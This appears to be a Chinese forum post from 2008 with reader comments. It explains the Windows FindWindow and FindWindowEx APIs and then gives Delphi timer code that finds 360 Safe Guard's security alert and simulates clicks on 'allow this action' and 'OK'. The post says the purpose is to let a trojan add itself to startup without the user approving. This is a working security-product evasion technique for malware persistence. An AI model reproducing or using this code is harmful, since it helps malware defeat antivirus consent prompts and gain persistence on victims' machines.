delphi虚拟点击过360安全卫士
360安全卫士总是会提示有某个程序要添加到随机启动里面,让用户来确定是不是要让这个程序成为随机启动.只要我们能快速的点击那个"确定"也能让木马成功的添加到随机启动里面. 首先我们应该了解这两个函数,findwindow和findwindowex她们是API函数,在VB语言里面我们要在写很常的声明,用的时候也容易出错,但是在delphi中由于VCL的封装这两个API函数可以像DELPHI自身的函数那样简单调用来获得窗体句柄。FindWindow(LPCTSTR LpClassName,LPCTSTR LpWindowName);
LpClassName :指向一个指定了类名的空结束字符串,或一个标识类名字符串的成员的指针。如果该参数为一个成员,则它必须为前次调用theGlobafAddAtom函数产生的全局成员。该成员为16位,必须位于IpClassName的低 16位,高位必须为 0。
LpWindowName:指向一个指定了窗口名(窗口标题)的空结束字符串。如果该参数为空,则为所有窗口全匹配
FindWindowEx(HWND hwndParent,HWND hwndChildAfter,LPCTSTR lpszClass,LPCTSTR lpszWindow);
hwndParent:要查找子窗口的父窗口句柄。
如果hwnjParent为NULL,则函数以桌面窗口为父窗口,查找桌面窗口的所有子窗口。
hwndChildAfter :子窗口句柄。查找从在Z序中的下一个子窗口开始。子窗口必须为hwndPareRt窗口的直接子窗口而非后代窗口。如果HwndChildAfter为NULL,查找从hwndParent的第一个子窗口开始。如果hwndParent 和 hwndChildAfter同时为NULL,则函数查找所有的顶层窗口及消息窗口。
lpszClass:指向一个指定了类名的空结束字符串,或一个标识类名字符串的成员的指针。如果该参数为一个成员,则它必须为前次调用theGlobaIAddAtom函数产生的全局成员。该成员为16位,必须位于lpClassName的低16位,高位必须为0。
lpszWindow:指向一个指定了窗口名(窗口标题)的空结束字符串。如果该参数为 NULL,则为所有窗口全匹配。返回值:如果函数成功,返回值为具有指定类名和窗口名的窗口句柄。如果函数失败,返回值为NULL
了解这两个函数后我们就开始进行编程。
在窗体上加个timer1控件并把interval的值设为小于500大于0
procedure TForm1.Timer1Timer(Sender: TObject);
var
idid,hand,he:thandle;
begin
idid:=findwindow('Afx:400000:0',nil);//获取360安全卫士的提示句柄
IF idid <> 0 THEN//当获得360安全卫士句柄的时候
begin
hand:=findwindowex(idid,0,'Button','允许此动作');//先获取"允许此动作"的选项句柄
if hand<>0 then//获得"允许此动作"的句柄
begin
postmessage(hand,wm_lbuttondown,0,0);
postmessage(hand,wm_lbuttonup,0,0);//将选项确定在允许此动作上
he:=findwindowex(idid,0,'Button','确定');//获得"确定"的句柄
postmessage(he,wm_lbuttondown,0,0);
postmessage(he,wm_lbuttonup,0,0);//自动点击确定
end;
end;
end;
end.
这样我们就将我们成功的将"木马"添加到随机起动里面了.
你就胡扯吧,你开启360安全卫士的自我保护,你看看你还能用你那个狗屎函数 FindWindow吗
2008-09-22 12:14 下午路过~~楼主傻逼了啊[wink]
2008-09-22 12:17 下午回复shit:
2008-09-24 9:30 上午并不是要关闭360,而是关闭360的提示,比如有服务被装入或有启动项被载入360都会提示的
360的自我保护只是防止360被关闭